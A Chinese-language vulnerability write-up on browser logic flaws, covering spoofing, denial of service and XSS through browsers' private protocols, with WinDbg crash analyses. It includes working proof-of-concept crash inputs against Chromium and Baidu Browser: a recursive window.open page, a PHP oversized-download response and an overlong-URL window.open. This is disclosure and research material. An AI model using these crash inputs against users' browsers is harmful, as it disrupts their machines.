最早在幾年前看到一本書《挖0day》,里面介紹了一個搜狗瀏覽器的漏洞--偽造網站,雖然時隔四年搜狗還是犯了同樣的錯誤,不過那會兒俺是只知道有這個理兒,但是苦于對這個理解并不深,現在接觸的時間多了,漸漸的就快要走到入門的門口了。
發生在瀏覽器上的兩種問題經常革了程序員下班時間的命(真是抱歉……),一種是代碼缺陷,一種是邏輯問題。 前面的倒還好說,寫錯了當然就是寫錯了,要敢于承認嘛。 至于后面的則是一個經常讓開發人員頭疼不已的問題--誰知道俺的用戶腦洞會如此之大,這個事都做得出來?
受到大牛們的邀請,斗膽分享一下這些常見的邏輯問題,靠這些刷了那么多WB,也該分享分享了。我一直認為瀏覽器邏輯方面的漏洞挖掘,很多都是靠的腦洞;至于內核漏洞嘛,俺的修為尚淺,這方面只好靠行善積德堆起人品,要不然Fuzzer都不來幫忙,簡直是令人灰心喪氣。
當然不得不說我只是個撿漏子的小菜鳥,希望大牛們如果發現我哪兒寫的不對的或者是在口胡的話直接糊我臉上就好。
事出有因,大致分一下類:
第一類是網頁欺騙,這個大多數都是由于開發改地址欄的時機不對:比如IE里面在OnBeforeNavigate2、Navigate之后,chrome里面剛Load一個地址就開始換地址等等。 由于此時網頁尚未加載,很多瀏覽器干脆就把內容頁置為about:blank,而about:blank根據規則是和父窗口同源的,那父窗口當然是可以在里面為所欲為了。地址欄和內容都可以控制,那么這就是一個完美的Spoof了。
第二類是拒絕服務,這個發生原因多種多樣,大多數都是瀏覽器自己實現的部分,由于瀏覽器顯示的內容多種多樣,頁面亂七八糟的啥都有,經常一個指針沒判空就崩了(百度);或者是標題過長,或者是內存占用過多,導致程序分配不了內存然后崩潰(單進程的FireFox, WooYun: Firefox 23.0.1處理標簽內存溢出拒絕服務漏洞 );
第三類是規則匹配不完善,這個不常見,但是俺騙來烏云的邀請碼確實就是用了Mozilla官方的這個插件的正則問題導致的拒絕服務(Firefox的IETab, WooYun: 火狐瀏覽器的網銀支付助手規則問題可能導致拒絕服務 )。
第四類是未預期的用戶行為,用戶是一個群體,百萬千萬級別的用戶的腦洞簡直可以把宇宙都吸進去,用戶會在瀏覽器上干出任何開發無法想象的到的事情,這種漏洞一般在百度搜索:瀏覽器 打開 崩潰,然后勾選最近1個月即可發現;
第五類是自有協議下的問題,有些瀏覽器為了安全構造了自有協議,因為這個就能很方便的和http/https這類不同源,脫離低級趣味了,然后瀏覽器會開心的放一些重要、敏感的內容進去,如果此類協議下后院起火,帶來的威脅是相當之大的。
等等,因為實在是整理不完,甚至可以想象曾經瀏覽器的搜索欄出過問題(傲游),開一個長于MAX_PATH的本地地址瀏覽器溢出了(Midori),表格調整一下位置也崩潰了(IE9),replace一下瀏覽器地址然后全進程崩了(傲游, WooYun: 傲游瀏覽器4.1.0.300遠程拒絕服務漏洞 ),fuzzer里面跑的頁面元素刷新的太快結果瀏覽器HANG了整個桌面,讓你鼠標有如點在空氣上(360, http://www.wooyun.org/bugs/wooyun-2013-018856/trace/fd2dfb345ecc38042e4c6dbaba76fdd9)甚至瀏覽器的廣告條都會被人爆菊花,讓人覺得這個世界的惡意簡直全部集中在瀏覽器上了,只要你腦洞夠大,絕對是可以發現里面的驚奇的。
從簡單到稍稍復雜看一些例子。
理論上說,代碼和邏輯嵌套的越深,越容易出問題,不過這個問題倒不是這個引起的。前些天在測試一個嵌套代碼的時候,就發現了測試機器上的瀏覽器出現了一個很奇怪的癥狀:打開某某chrome內核的瀏覽器之后,在嵌套的窗口中通過腳本執行location.href="me:blablablast"
之后,居然出現了cpu占用100%的情況。 繼而我又驚奇的發現包括v31以下版本的chrome都有這個問題(BUG 346132),為了方便查看,我把location.href換成了window.open(),這一下看到了一個好玩的現象:
我的代碼是:
#!html
<script>
var k=1;
window.open("data:text/html, <scri"+"pt>var k=1111;window.open('window.open(\\\"about:blank\\\")')</scrip"+"t>"+"</scrip"+"t>","lll");
</script>
理應最不濟也是按照這個方式彈出窗口,最多只有4個:
window1: data:text/html, <script>...</script>
window2: javascript:window.open('window.open(\"about:blank\")')
window3: javascript:window.open("about:blank")
window4: about:blank
可是沒想到從第二個窗口開始,它就無情的彈出了:
window1: data:text/html, <script>...</script>
window2: data:text/html, <script>...</window.open("about:blank")
window3: data:text/html, <script>...</window.open("about:blank")
....
正是如此,由于陰差陽錯我忘了加javascript:
,但是不巧Chrome也錯把window.open()
這個當作了相對路徑,更不巧的是它居然搜索到了第二個正斜線/處,并把它后面的內容替換成了window.open
。
這也就意味著,從window2開始,他就開始了一直執行同一段代碼的不歸路,難怪會一直占100%cpu呢。
官方的修復是(REV 168294):
M http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565
M http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565
url_cannon_relative.cc: +
124 if (!is_base_hierarchical) {
125 // Don't allow relative URLs if the base scheme doesn't support it.
126 return false;
127 }
HTTP頭中,Content-Length可以反映這個請求的實體大小[2]
,正是如此,下載的時候,下載器可以拿它當個參考,但是HTTP頭是我們可以隨便定義的,如果我們在服務器上做一個假的下載文件,并且把它的大小指定的非常大,甚至超出硬盤能受得了的大小,或者超出存儲下載文件有多大的那個變量的上限會如何呢?
WooYun: 百度瀏覽器5.0正式版除以零異常永久性拒絕服務
在老版本的百度瀏覽器中訪問此文件:
#!php
<?php
header("Content-type: application/octet-stream"); //返回的文件
header("Accept-Ranges: bytes"); //按照字節大小返回
header("Accept-Length: 500"); //返回文件大小
header("Content-Length: 500"); //返回文件大小
header("Content-Disposition: attachment; filename=B");//這里客戶端的彈出對話框,對應的文件名
?>
當將Accept-Length該成一個超過其unsigned long上限的值時,百度瀏覽器簡單的把其大小修改為了0。
關鍵是,這個0會在之后被用作計算百分比的分母,于是一個奇葩的現象就會出現:除以0錯誤。
過程就是如此簡單:
xnet!AcquireAsynHttpService+0x278f2:
5bc5b502 83d800 sbb eax,0
5bc5b505 8944241c mov dword ptr [esp+1Ch],eax
5bc5b509 89542418 mov dword ptr [esp+18h],edx
5bc5b50d 0bc0 or eax,eax
5bc5b50f 7518 jne xnet!AcquireAsynHttpService+0x27919 (5bc5b529)
5bc5b511 8b4c2418 mov ecx,dword ptr [esp+18h] ;文件大小
5bc5b515 8b442414 mov eax,dword ptr [esp+14h] ;已經下載的大小
5bc5b519 33d2 xor edx,edx
xnet!AcquireAsynHttpService+0x2790b:
5bc5b51b f7f1 div eax,ecx ; 0/0
;部分寄存器此時的值:
;eax=00000000 ebx=00000000 ecx=00000000 edx=00000000
5bc5b51d 8bd8 mov ebx,eax
5bc5b51f 8b442410 mov eax,dword ptr [esp+10h]
5bc5b523 f7f1 div eax,ecx
……
5.x版本的瀏覽器的dmp簡單查看一下:
0:033> !analyze -v
FAULTING_IP:
xnet!AcquireAsynHttpService+2790b
5bc5b51b f7f1 div eax,ecx
……(略)
DEFAULT_BUCKET_ID: STATUS_INTEGER_DIVIDE_BY_ZERO
PRIMARY_PROBLEM_CLASS: STATUS_INTEGER_DIVIDE_BY_ZERO
BUGCHECK_STR: APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO
LAST_CONTROL_TRANSFER: from 5bc25b4e to 5bc5b51b
STACK_TEXT:
0a67f95c 5bc25b4e 03684b20 666e1dbf 0383c019 xnet!AcquireAsynHttpService+0x2790b
0a67f984 5bc24817 00000000 00000000 03707e68 xnet+0x25b4e
0a67f9ac 5bc21581 00000000 666e1dbf 00000000 xnet+0x24817
……(略)
由于分給一個程序的棧的大小是有限的,而Chrome接受的URL長度確實無限的,所以為了方便,短url確實可以存在棧中,但是如果url的長度長于一定限度的時候,存到堆里也未嘗不可,但是測試一定要完善,依然是百度瀏覽器5.x的一個問題:
WooYun: 百度瀏覽器5.0正式版(2.200.0.41563)拒絕服務漏洞
(為了防止一大片都是亂七八糟的數據,以下能省的我全部省略了)
這個可以很明顯的顯示出來老版本代碼搬到新版本來的弊端,以及需要達到一定條件下才觸發的漏洞點。漏洞需要:Windows Vista以上,使用主板本4.x以下或 5.0版內核版本2.2.210.42889以下的均可觸發。
之前以為是像錯誤所報一樣是BUFFER OVERRUN也就是緩沖區溢出,其實不然,這個是一個奇怪的堆破壞漏洞。
為了防止堆出現奇怪的調試器友好現象,先運行瀏覽器,然后Attach到進程上,運行PoC,可以發現程序產生了以下異常:
STATUS_STACK_BUFFER_OVERRUN encountered
(a18.32d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=5dab3f30 ecx=76470174 edx=0973c565 esi=00000000 edi=001b7281
eip=7646ff55 esp=0973c7ac ebp=0973c828 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7646ff55 cc int 3
回溯一下調用棧:
0:025> kvn
# ChildEBP RetAddr Args to Child
00 0973c828 5d9e7789 5dab3f30 caa3800a 355c7ff5 kernel32!UnhandledExceptionFilter+0x5f (FPO: [SEH])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0973cb5c 5d79757b 001b7281 656c6966 00000000 bdlogicmain!BrowserLogicInit+0x198229
02 0973e8f8 5d9deb21 0ccf0020 113d0020 001b7281 bdlogicmain+0x757b
03 0973e91c 5d98d6fb 00000001 c3d069b2 0d1e2dc4 bdlogicmain!BrowserLogicInit+0x18f5c1
……(略)
查看一下第一個參數,它指向EXCEPTION_POINTERS:
0:025> dd 5dab3f30
5dab3f30 5db498a0 5db498f8 5d9e7cd0 1d5be4b5
查看一下異常相關的信息:
0:025> .exr 5db498a0
ExceptionAddress: 5d79757b (bdlogicmain+0x0000757b)
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001
NumberParameters: 0
然后使用它的上下文記錄:
0:025> .cxr 5db498f8
以此為準重新回溯一下棧:
0:025> kv
*** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr Args to Child
0973e8f8 5d9deb21 0ccf0020 113d0020 001b7281 bdlogicmain+0x757b
0973e91c 5d98d6fb 00000001 c3d069b2 0d1e2dc4 bdlogicmain!BrowserLogicInit+0x18f5c1
0973e9b8 5d98de2d 0973ea08 c3d06a26 00000000 bdlogicmain!BrowserLogicInit+0x13e19b
……(略)
貌似崩潰發生在bdlogicmain+0x757b
附近,我們在這個函數開頭設下斷點并仔細查看一下,Let’s rock:
bp bdlogicmain+0x7556
重新打開瀏覽器,運行PoC,這時Debugger停在我們的斷點處。我們將前后指令給u出來,得到部分函數信息:
633b753d 8dbdfcefffff lea edi,[ebp-1004h]
633b7543 e818fdffff call bdlogicmain+0x7260 (633b7260)
633b7548 83c404 add esp,4
633b754b 5f pop edi
633b754c 85c0 test eax,eax
633b754e 75a3 jne bdlogicmain+0x74f3 (633b74f3)
633b7550 8bb56ce2ffff mov esi,dword ptr [ebp-1D94h]
633b7556 56 push esi ; 參數:size
633b7557 8d95fcefffff lea edx,[ebp-1004h];這是他分配方式的分水嶺:0x1004字節
633b755d 52 push edx ; 參數:source
633b755e 53 push ebx ;參數:dest
633b755f ff15c4f46363 call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6363f4c4)] ; 調用函數:strncpy
633b7565 8b4dfc mov ecx,dword ptr [ebp-4]
633b7568 83c40c add esp,0Ch
633b756b c6441eff00 mov byte ptr [esi+ebx-1],0
633b7570 5e pop esi
633b7571 33cd xor ecx,ebp
633b7573 33c0 xor eax,eax
633b7575 5b pop ebx
633b7576 e823f82400 call bdlogicmain!BrowserLogicInit+0x19783e (63606d9e) ;崩潰在此
633b757b 8be5 mov esp,ebp
633b757d 5d pop ebp
633b757e c3 ret
可以發現有一個strncpy(esi/*size*/, edx/*source, 棧上的內容*/, ebx/*dest, 申請的堆*/);
非常可疑,而這個申請的堆則是在其類中使用new后memset成0得到的,其實之前這個memset的時候就已經set錯位置了,不過我們先繼續,p過+0x1cff64之后查看一下堆:
(*是我的用戶名,隱掉了)
0:025> dd 11a20020
11a20020 656c6966 2f2f2f3a 552f3a43 73726573
11a20030 7061732f 71****** ******** 6b736544
11a20040 2f706f74 41414141 41414141 41414141
……blablabla
0:025> da 11a20020
11a20020 "file:///C:/Users/**********/Desk"
11a20040 "top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11a20060 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
……blablabla
果不其然,URL的完整內容被復制到堆中了,仔細一看卻不是這兒堆溢出了,而是它初始化的問題導致復制錯位了。下面是我重新開的一個實例,地址稍有變化,不過不影響結果。Strncpy完畢之后,各寄存器值如下:
eax=00000000 ebx=001b7281 ecx=0006dca0 edx=0975db50 esi=0975db50 edi=11d50020
eip=68542af4 esp=0975cd9c ebp=0975eb54 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
MSVCR100!strncpy+0x24:
68542af4 0f8585000000 jne MSVCR100!strncpy+0xaf (68542b7f) [br=1]
查看堆這個地址的信息:
0:025> !address 11d50020
ProcessParametrs 007607f0 in range 00760000 00860000
Environment 09e98c48 in range 09e10000 0a210000
11d50000 : 11d50000 - 001b8000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 07790000
可以看到堆的大小遠大于復制的字節數,這樣可能就不會是堆溢出了,讓我們再看一次堆的內容:
0:025> gu
eax=11d50020 ebx=11d50020 ecx=00000000 edx=00414141 esi=001b7281 edi=001b7281
eip=63617565 esp=0975cdac ebp=0975eb54 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
bdlogicmain+0x7565:
63617565 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41
0:025> dd 11d50020
11d50020 656c6966 2f2f2f3a 552f3a43 73726573
11d50030 7061732f 71****** ******** 6b736544
11d50040 2f706f74 41414141 41414141 41414141
11d50050 41414141 41414141 41414141 41414141
接著查看一下11d50000處的堆信息,這回我們看到了好玩的東西了,從0x20字節開始,網址居然被寫到了堆頭部的_HEAP結構,直接覆蓋了堆的信息!(其實最開始memset的時候就已經蓋了,new之后傳來的指針就沒給對),這樣當堆釋放的時候系統就會檢測到這個問題,然后報告BUFFER_OVERRUN,但其實只是一個巧合。
由于系統差異,導致函數的走向分支出現了問題,指針的偏移沒有正確的寫入,在Windows XP之下,偏移被正確的調整了,但是在高版本系統中這個偏移量卻沒有寫對,導致了它直接寫到了堆頭部,直接破壞了整個堆的結構。
0:025> dt _HEAP 11d50000
ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY
+0x008 SegmentSignature : 0
+0x00c SegmentFlags : 0
+0x010 SegmentListEntry : _LIST_ENTRY [ 0x1b8000 - 0x1b8000 ]
+0x018 Heap : 0x213b4097 _HEAP
+0x01c BaseAddress : 0x04000000
+0x020 NumberOfPages : 0x656c6966
+0x024 FirstEntry : 0x2f2f2f3a _HEAP_ENTRY
+0x028 LastValidEntry : 0x552f3a43 _HEAP_ENTRY
+0x02c NumberOfUnCommittedPages : 0x73726573
+0x030 NumberOfUnCommittedRanges : 0x7061732f
+0x034 SegmentAllocatorBackTraceIndex : 0x****
+0x036 Reserved : 0x****
+0x038 UCRSegmentList : _LIST_ENTRY [ 0x******** - 0x6b736544 ]
+0x040 Flags : 0x2f706f74
+0x044 ForceFlags : 0x41414141
+0x048 CompatibilityFlags : 0x41414141
+0x04c EncodeFlagMask : 0x41414141
+0x050 Encoding : _HEAP_ENTRY
+0x058 PointerKey : 0x41414141
+0x05c Interceptor : 0x41414141
…………blabla 后面都是0x41414141
那為什么只會在這樣的PoC中出現呢,普通的window.open為什么沒有這類問題?bp bdlogicmain+0x7490
在函數開頭下斷,可以發現原因是百度瀏覽器使用了一個邏輯,也即<4096的用棧上變量,如果長于4096字節,程序才會試圖分配堆并對堆進行錯誤的寫入操作。這個問題出現在新窗口的彈出中,必須是新小窗口才會出現,包括被廣告攔截也會出現。
相關問題點:
636174e7 e874fcffff call bdlogicmain+0x7160 (63617160)
;函數功能:判斷是否要比4096長
636174ec 83c41c add esp,1Ch
636174ef 85c0 test eax,eax
;eax==0 : 代表長于4096字節
636174f1 7413 je bdlogicmain+0x7506 (63617506)
bdlogicmain+0x74f3:
636174f3 5e pop esi
636174f4 83c8ff or eax,0FFFFFFFFh
636174f7 5b pop ebx
636174f8 8b4dfc mov ecx,dword ptr [ebp-4]
636174fb 33cd xor ecx,ebp
636174fd e89cf82400 call bdlogicmain!BrowserLogicInit+0x19783e (63866d9e)
63617502 8be5 mov esp,ebp
63617504 5d pop ebp
63617505 c3 ret
bdlogicmain+0x7506:
63617506 8db570e2ffff lea esi,[ebp-1D90h]
6361750c 8d85fcefffff lea eax,[ebp-1004h]
63617512 e8d9f9ffff call bdlogicmain+0x6ef0 (63616ef0)
63617517 85c0 test eax,eax
63617519 75d8 jne bdlogicmain+0x74f3 (636174f3)
……blabla
bdlogicmain+0x7550: //長于4096字節時:
63617550 8bb56ce2ffff mov esi,dword ptr [ebp-1D94h]
63617556 56 push esi
63617557 8d95fcefffff lea edx,[ebp-1004h]
6361755d 52 push edx
6361755e 53 push ebx
6361755f ff15c4f48963 call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6389f4c4)]
63617565 8b4dfc mov ecx,dword ptr [ebp-4]
Simple PoC:
#!html
<script>
var s="A";
var i=1;
for(i=1;i<599559;i++)
s+="A";
alert(1);
window.open(s);
</script>
很多廠商都意識到了一個問題,那就是OnBeforeNavigate2的時候,剛chrome.Load()千萬不能改地址欄啊,一定不能改地址欄啊,必須等頁面全部加載完才可以,結果主窗口做的天衣無縫,完美無瑕,之后就忘了小窗口的事情。 小窗口怎么產生呢?
window.open
這個簡單無比,到處可見此類彈窗小廣告,被廣告攔截的幾率非常大,可以忽視
WooYun: 傲游瀏覽器4.1.2.2000偽造任意網站漏洞
target 但是這個基本就沒人攔了,但是蛋疼的是帶有url變化的東西都能接上這個,比如anchor,比如form,這個可以參考:
WooYun: 傲游瀏覽器4.3.0.100 表單請求偽造網站漏洞(可釣魚)
WooYun: 搜狗瀏覽器4.2.2.9903任意網站偽造+自有協議下XSS*2
廠商也意識到了,是啊,不加載完不能換地址,一定要到OnDocumentComplete,要到documentComplete()才行,可是唯獨忘了程序創建新窗口的時候也不能把地址欄給設置上,這樣就導致了很多問題。
因為攻擊者彈出來的東西可能并不會去瞎加載一些亂七八糟的網站,他們轉而可能在小窗口上運行腳本,腳本執行完之后確實產生了頁面完成事件,“但是在這上面執行的javascript:開頭的地址肯定是不能替換當前地址的呀,那么還是保持之前的地址好了”,這個邏輯仿佛就是“現在我做的事不對,那么前面做的事一定是正確的”,結果正中攻擊者下懷,臟數據寫到了頁面上,臟地址倒也被當作正確地址留下來了。
越來越多的瀏覽器做了插件,可以讓用戶自行選擇,這是個好事情,因為這樣不必讓本來只想找個小菜刀做飯的用戶一下背了一個核彈發射場回家。大廠商轉而大度的把裝備扔自己網站上,大家是要殺人越貨還是要干什么,盡管自取。
那么瀏覽器怎么知道用戶啥時候要對自己來一發火箭炮?External接口倒是可以滿足瀏覽器這個需求,通過設置可信域,通常就是瀏覽器自己的插件頁地址或者官網,瀏覽器只在可信域上開放external接口,這樣用戶就能在廠商那找到并讓瀏覽器安裝各個插件了。
但是至少不要來XSS,XSS的奇技淫巧大家掌握的比我多,本來自有協議就跟個核彈發射按鈕似的,這XSS一來,直接就把老家送人了,最可怕的是有些瀏覽器甚至自行關掉了XSS過濾器,導致攻擊者只需要做一個payload放到url里就可以讓這些權限高的external調用隨意的在瀏覽器里面跑起來。
例如:
WooYun: 360極速安全瀏覽器存在設計缺陷可導致一序列安全問題
WooYun: 傲游4.3.0.300提示安裝任意插件暴露external接口
一直要用最壞的打算來推測用戶能干出來什么出格事兒,這是個事實,之前白帽子愛梅小禮發的拖拽跨域就是個非常一針見血的證明。
本來瀏覽器的超級拖拽行為只有仨考慮:如果是網址,那么我們就把它打開;如果是文字我們就把它轉到搜索里面;如果是圖片,我們就開個新窗口讓用戶自己放大縮小看圖片。 萬萬沒想到,還有javascript:和vbscript:這種東西。用戶的鼠標可不聽使喚,iframe里面一個javascript拖到外面的頁面里面,腳本可就在外面執行起來了。
當然,我想著這還不是最猥瑣的,這種出其不意的事情,必然有其他地方也能讓我們舉一反三:標簽欄。
試想標簽欄在開發的眼里意味著什么?無非兩種可能,來的是文字,咱搜索;來的是URL,咱打開。
來的是腳本,那就執行了吧。
大部分還是從開發的角度來說吧,一定要在頁面加載完之后再改變地址,新窗口將地址欄置為about:blank,并在頁面有實際的加載之后再改地址;
在剛啟動就自動執行的任務一定要保證更嚴格的可用性,以及要養成良好的編碼習慣,釋放,引用指針之前一定要確保指針有效,這樣可以確保程序不會一啟動或者每次做的動作大一點就完全崩潰了;
至于邏輯問題,我覺得這也只好聽天由命,自求多福了,只好懇請用戶大老爺手下留情,點鼠標慢一點,沒事干不要亂拖亂點好了……
參考資料 [1] http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html [2] http://tools.ietf.org/html/rfc2616#section-14.13 [3] 《挖0day》,愛無言; 應該就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80 [4] http://illmatics.com/Understanding_the_LFH.pdf